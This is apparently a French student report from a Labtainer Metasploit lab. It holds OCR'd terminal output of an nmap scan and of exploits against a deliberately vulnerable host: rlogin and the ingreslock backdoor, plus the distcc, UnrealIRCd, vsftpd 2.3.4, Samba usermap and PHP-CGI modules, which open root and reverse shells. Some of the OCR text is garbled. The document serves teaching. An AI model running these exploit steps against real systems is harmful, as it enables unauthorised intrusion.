AP CYBER-SECURITE - ATTAQUE-METASPLOIT

TÂCHES :

1. Vérifier la connectivité entre l’agresseur et la victime - Mettez une capture d’écran montrant cette connectivité.
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{0F6950DE-780F-49F5-8343-C155D66B5158}.png]
On voit la fenettre de l’ataquant et de la victime
2. Obtenez une liste des services vulnérable sur la victime :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{59750E0A-AE5E-43F6-B1FD-0E8FE630B32B}.png]
On voit donc tout les port qui sont ouvert de la victime
3. Vulnérabilité configuré sur le service rlogin (513)[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{11E7D3ED-2780-4088-A592-A4330B615D21}.png]
On à donc ouvert une connexion avec la machine cible
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{9CB278D8-9814-4007-8150-047D3DD3162E}.png]
On a donc créer un dossier chez la machine victime.

4. Service IngresLock vulnérable (port 1524)
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{21B3E491-3279-436D-B1D9-B78C2F8167B0}.png]
Nous somme ainsi connecter avec tout les privilèges










5. Service vulnérable de distccd (port 3632) 
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{78D42306-3082-4896-A0ED-10198E073954}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{6261D967-A149-4476-AFA5-1BE6893A503E}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{6582BC51-C6F3-44BD-9DF7-F88F5A85EFA0}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{89E23A24-6770-466D-A12C-04A435C815EB}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{A2AF0253-2656-433D-BAF5-93857D3FD444}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{0E67BD35-3977-4461-BE68-D421EA299A0F}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{8E86FBD4-72C0-4045-8E61-B1370511A851}.png]
Cela confirme bien qu’on été bien connecter sur le poste de la victime.



6. Démon IRC vulnérable (port 6667)
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{6919D5A4-2107-4156-9041-094B26180D22}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{F6D1362A-D7B4-48F3-B64C-6129ACC5E249}.png]
Et voila nous somme renouveau connecter chez la victime.

7. Service VSFtpd vulnérable (port 21)
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{DB764222-33DE-4519-9A77-46CD5EC0EF03}.png]
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Encore une fois nous somme connecter chez la victime.








8. Service vulnérable de samba (139)
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{A7279EAC-BD4C-4450-8FC1-A04EF49BFEFC}.png][image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{41B7D8E7-C88C-461F-BE9B-025E0C9C0A87}.png]
Encore une fois la connexion en passant par ce port a fonctionné.

9. Service http (php) vulnérable (port 80)
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{651D8ED4-A763-4618-A2FE-9C74906D8A16}.png]
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On passe par le shell a la fin pour accéder à la machiene de la victime car on utilise PHP-CGI du port 139.



10. Pour terminer vous répondrez aux questions suivantes : 

a. Quel est le rôle des ports en réseau ? 

Les ports en réseau permettent de savoir quel service ou quelle application communique sur un ordinateur via TCP ou UDP. Chaque port a un numéro (entre 0 et 65535) et aide à différencier les connexions. Par exemple, le port 80 est souvent utilisé pour le web (HTTP) et le port 22 pour SSH. Grâce aux ports, plusieurs applications peuvent fonctionner en même temps sur un même appareil.

b. Qu’est ce que la notion de « backdoor» ? 

Une backdoor (ou porte dérobée) est un moyen d’accéder à un système ou un réseau sans autorisation, souvent en contournant la sécurité. Les hackers les utilisent pour garder un accès après une attaque, mais parfois, elles sont mises en place volontairement par des développeurs pour faire du dépannage. Une backdoor peut être installée via un virus, une faille de sécurité ou une mauvaise configuration.

c. Comment s’en prémunir ?
Pour se protéger des backdoors :

1. Faire des mettre à jour ses logiciels et son système pour corriger les failles de sécurité.
2. En utiliser un pare-feu et vérifier les ports ouverts, en fermant ceux qui ne servent pas.
3. En surveiller le trafic réseau pour repérer des activités suspectes.
4. Faire des audits de sécurité réguliers pour détecter les vulnérabilités.
5. Installer un bon antivirus et antimalware pour bloquer les logiciels malveillants.
6. Limiter les droits des utilisateurs pour éviter qu’un pirate puisse trop en faire en cas d’attaque.
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root@victim: ~

ile Edit View Search Terminal Help
8009/tcp open ajp13

8180/tcp open unknown
8787/tcp open msgsrvr
36041/tcp open unknown
41011/tcp open unknown
42803/tcp open unknown

Nnap done: 1 IP address (1 host up) scanned in 1.55 seconds

ubuntu@attacker:~$ rlongin -1 root 192.168.1.2

-bash: rlongin: command not found

ubuntu@attacker:~$ rlogin -1 root 192.168.1.2

Last login: Tue Mar 18 10:10:51 EDT 2025 from :0.0 on pts/2

Linux victin 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visi
http://help.ubuntu.com/

You have mail.

root@victim:~# B
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root@victim:~# cat /root/filetoview.txt

# Filename: filetoview.txt

#*

# Description: This is a pre-created file for each student (victim) container

# This file is modified when container is created

# The string below will be replaced with a keyed hash
My string {i: d768dbce41cof8bdoad6b69f3b5469F7
root@victim:~# exit

logout

rlogin: connection closed.
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ubuntu@attacke $ telnet 192.168.1.2 1524
Trying 192.168.1.2...

Connected to 192.168.1.2.

Escape character is 'A]'.

root@victim:/# fl
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ubuntu@attacker: ~

File Edit View Search Terminal Help

Escape character is 'A]'.
root@uictim:/# exit

exit

exit

exit

Connection closed by foreign host.

ubuntu@attacker:~$ sudo msfconsole

[-] ***rTing the Metasploit Framework console...|

[-] * WARNING: No database support: No database YAML file
[-] #x

metasploit v5.0.45-dev
1918 exploits - 1074 auxiliary - 330 post
556 payloads - 45 encoders - 10 nops

4 evasion





image7.png
msf5 > search distccd

Matching Modules

Disclosure Date Rank Check Description

© exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes  DistCC Daemon Command Execut
ton
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]

> use exploit/unix/misc/distcc_exec
exploit(unix/misc/distcc_exec) >
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msf5 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):

Name  Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 3632 yes The target port (TCP)

Exploit target:

Id Name

©  Automatic Target

msf5 exploit(unix/misc/distec_exec) > [l
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nsf5 exploit(unix/misc/distcc_exec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
nsfs exploit(unix/misc/distce_exec) > options

Module options (exploit/unix/misc/distcc_exec):

Name  Current Setting Required Description
RHOSTS  192.168.1.2 yes The target address range or CIDR identifier
RPORT 3632 yes The target port (TCP)

Exploit target:

Id Name

©  Automatic Target

msfS5 exploit(unix/misc/distce exec) >
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nsfs exploit(unix/misc/distce_exec) > exploit

Started reverse TCP double handler on 192.168.1.3:4444
Accepted the first client connection...
Accepted the second client connection.
Command: echo OmfIuKeIWOMaPuQu;
Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket B

B: "OmfIuKeIwOMaPuQu\r\n"

Matching.
A is input...

Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.2:37698) at 2025-03-18 14:32:50 +0

SRR A A A e e

P P P P
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nsfs > search unreal_ircd

Matching Modules

~ # Name Disclosure Date Rank Check Description

I @ exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.
8.1 Backdoor Command Execution

3
msfs > I
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msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[-] Exploit failed: The following options failed to validate: RHOSTS.
[*] Exploit completed, but no session was created.
nsf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > I
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nsf5 > search vsftpd_234

Matching Modules

# Name Disclosure Date Rank Check Description

I @ exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoo
r Command Execution





image16.png
]

> use exploit/unix/ftp/vsftpd_234_backdoor
exploit(unix/ftp/vsftpd_234_backdoor) >
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nsf5 exploit(unix/ftp/vsftpd 234 backdoor) > set RHOST 192.168.1.2

RHOST => 192.168.1.2

Ficewriter oit(unix/ftp/vsfipd_234 backdoor) > use exploit/unix/ftp/vsftpd
234_pack

1atching Modules
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[*] Using exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.2:21 -
[*] 192.168.1.2:21 -
[+] 192.168.1.2:21 -
dling...

[+] 192.168.1.2:21 -
[*] Found shell.

Banner: 220 (vsFTPd 2.3.4)
USER: 331 Please specify the password.
Backdoor service has been spawned, han

UID: uid=0(root) gid=0(root)

[*] Command shell session 1 opened (192.168.1.3:34319 -> 19
2.168.1.2:6200) at 2025-03-18 15:29:35 +0000

hostname
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msfS5 > search usermap_scipt
[ .1 No results from search
» use exploit/m
Display all 313 possibilities? (y or n)
msf5 > use exploit/multi/samba/usermap_script
msfS exploit(multi/samba/usermap_script) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf5 exploit(multi/samba/usermap_script) > exploit
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msfS exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.1.3:4444
[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo Ov7MIdtErSLiR5VY;

[*] Writing to socket A

[*] Writing to socket B

r+1 Reading from sockets...

gs | Reading from socket B

[*] B: "OVZMIdtEr5LiR5VY\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.2:59896)
5-03-18 15:36:54 +0000

hostname
hostname
victim




image21.png
IR W ERRE

msi>5 > search php_cgi

# Name Disclosure Dat
Description

® exploit/multi/http/php_cgi_arg_injection 2012-05-03
PHP CGI Argument Injection

msf5 > SI
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msf5 > use exploit/multi/http/php_cgi_arg_injection

HSEE "a}olt(nulti/http/php cgi_arg_injection) > set RHOST 192.168.1.2
RHOS 2 168.1.2

msf5 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.1.3:4444

[*] Sending stage (38247 bytes) to 192.168.1.2

[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.2:59926) at 202
5-03-18 16:01:32 +0000

meterpreter > shell
Process 3091 created.

Channel © created.
hos tname

hos tname

victim
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LabtainerVI1-VMWare-DD.

Activities ] Terminal ~ f;

ubuntu@attacker: ~

File Edit View Search Terminal Help

111/tcp open rpcbind
139/tcp open netbios-ssn
2 445/tcp  open microsoft-ds
labtainer- " 515/tcp _open exec
student.

pdf ubuntu@victim: ~

File Edit View Search Terminal Help
ubuntu@victim:~$

LibreOffice Writer
ng lan

©
B
%
L
®

Press <enter> to start the lab
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Activities -] Terminal ¥ Tue 07:14 @

ubuntu@attacker: ~
‘Il’ File Edit View Search Terminal Help

ubuntu@attacker:~$ nmap -p@-65535 192.168.1.2
Startina Nmap 7.80 ( https://nmap.org ) at 2025-03-18 14:14 UTC
NnThunderbirdMail : for metasploit.victim.student.lan (192.168.1.2)
Host is up (0.00010s latency).
Not shown: 65569 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

80/tcp open http

111/tcp  open rpcbind
139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
512/tcp  open exec

513/tcp  open login

514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open ircs-u
8009/tcp open ajpi3
8180/tcp open unknown
8787/tcp open msgsrvr
36041/tcp open unknown
41011/tcp open unknown
42803/tcp open unknown

m &

B

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds
ubuntugattacker:~$ fl





